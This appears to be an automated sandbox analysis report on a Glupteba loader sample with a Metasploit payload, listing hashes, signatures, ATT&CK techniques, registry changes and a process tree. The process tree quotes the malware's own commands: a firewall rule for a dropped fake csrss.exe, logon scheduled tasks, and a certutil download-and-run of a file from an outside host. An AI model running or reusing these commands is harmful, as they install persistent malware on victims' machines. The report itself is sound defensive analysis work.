glupteba | b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

General

Target

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Size

3.8MB
MD5

bf8bd00031a3a08e4e62dbfff08b9bfa
SHA1

1f1264370e6b86999998dd99596de4010a283c31
SHA256

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e
SHA512

f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5
SSDEEP

98304:WyfDgsCeWlw817dwOUCXuiwMU6Fnit62T4IQIXS5:WKDgdaAdfXuilbit6c4tIi5

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4280-133-0x0000000002E00000-0x0000000003602000-memory.dmp	family_glupteba
behavioral2/memory/4280-134-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral2/memory/4280-136-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral2/memory/1284-138-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral2/memory/1284-144-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral2/memory/3432-146-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral2/memory/3432-152-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1376 created 4280	1376	svchost.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
PID 1376 created 3432	1376	svchost.exe	csrss.exe
PID 1376 created 3432	1376	svchost.exe	csrss.exe
PID 1376 created 3432	1376	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3432 csrss.exe
4384 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2456 netsh.exe

pid	process
3432	csrss.exe
4384	patch.exe

pid	process
2456	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SolitaryMoon = "\"C:\\Windows\\rss\\csrss.exe\""	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

3576 bcdedit.exe

pid	process
3576	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

description	ioc	process
File opened for modification	C:\Windows\rss	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
File created	C:\Windows\rss\csrss.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
900	4280	WerFault.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
2064	1284	WerFault.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3876 schtasks.exe
3952 schtasks.exe

pid	process
3876	schtasks.exe
3952	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exeb5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.execsrss.exe

pid	process
4280	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
4280	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
3432	csrss.exe
3432	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4280	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Token: SeImpersonatePrivilege	4280	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Token: SeTcbPrivilege	1376	svchost.exe
Token: SeTcbPrivilege	1376	svchost.exe
Token: SeBackupPrivilege	1376	svchost.exe
Token: SeRestorePrivilege	1376	svchost.exe
Token: SeBackupPrivilege	1376	svchost.exe
Token: SeRestorePrivilege	1376	svchost.exe
Token: SeBackupPrivilege	1376	svchost.exe
Token: SeRestorePrivilege	1376	svchost.exe
Token: SeBackupPrivilege	1376	svchost.exe
Token: SeRestorePrivilege	1376	svchost.exe
Token: SeSystemEnvironmentPrivilege	3432	csrss.exe
Token: SeBackupPrivilege	1376	svchost.exe
Token: SeRestorePrivilege	1376	svchost.exe
Token: SeBackupPrivilege	1376	svchost.exe
Token: SeRestorePrivilege	1376	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exeb5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.execmd.execsrss.exe

description	pid	process	target process
PID 1376 wrote to memory of 1284	1376	svchost.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
PID 1376 wrote to memory of 1284	1376	svchost.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
PID 1376 wrote to memory of 1284	1376	svchost.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
PID 1284 wrote to memory of 2752	1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	cmd.exe
PID 1284 wrote to memory of 2752	1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	cmd.exe
PID 2752 wrote to memory of 2456	2752	cmd.exe	netsh.exe
PID 2752 wrote to memory of 2456	2752	cmd.exe	netsh.exe
PID 1284 wrote to memory of 3432	1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe
PID 1284 wrote to memory of 3432	1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe
PID 1284 wrote to memory of 3432	1284	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe
PID 1376 wrote to memory of 3876	1376	svchost.exe	schtasks.exe
PID 1376 wrote to memory of 3876	1376	svchost.exe	schtasks.exe
PID 1376 wrote to memory of 3952	1376	svchost.exe	schtasks.exe
PID 1376 wrote to memory of 3952	1376	svchost.exe	schtasks.exe
PID 1376 wrote to memory of 4384	1376	svchost.exe	patch.exe
PID 1376 wrote to memory of 4384	1376	svchost.exe	patch.exe
PID 3432 wrote to memory of 3576	3432	csrss.exe	bcdedit.exe
PID 3432 wrote to memory of 3576	3432	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
"C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4280

C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
"C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1284

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:2456

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe /15-15
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3876

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3952

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:4384

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 812
3⤵
- Program crash
PID:2064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4280 -s 700
2⤵
- Program crash
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4280 -ip 4280
1⤵
PID:3816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1284 -ip 1284
1⤵
PID:3040

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
bf8bd00031a3a08e4e62dbfff08b9bfa

SHA1
1f1264370e6b86999998dd99596de4010a283c31

SHA256
b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

SHA512
f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
bf8bd00031a3a08e4e62dbfff08b9bfa

SHA1
1f1264370e6b86999998dd99596de4010a283c31

SHA256
b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

SHA512
f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5

Download Submit
memory/1284-137-0x000000000294B000-0x0000000002CF2000-memory.dmp

Filesize
3.7MB

Download
memory/1284-135-0x0000000000000000-mapping.dmp

Download
memory/1284-144-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/1284-138-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/2456-140-0x0000000000000000-mapping.dmp

Download
memory/2752-139-0x0000000000000000-mapping.dmp

Download
memory/3432-141-0x0000000000000000-mapping.dmp

Download
memory/3432-152-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/3432-145-0x0000000002E00000-0x00000000031A7000-memory.dmp

Filesize
3.7MB

Download
memory/3432-146-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/3576-151-0x0000000000000000-mapping.dmp

Download
memory/3876-147-0x0000000000000000-mapping.dmp

Download
memory/3952-148-0x0000000000000000-mapping.dmp

Download
memory/4280-134-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/4280-133-0x0000000002E00000-0x0000000003602000-memory.dmp

Filesize
8.0MB

Download
memory/4280-132-0x0000000002A4D000-0x0000000002DF4000-memory.dmp

Filesize
3.7MB

Download
memory/4280-136-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/4384-149-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads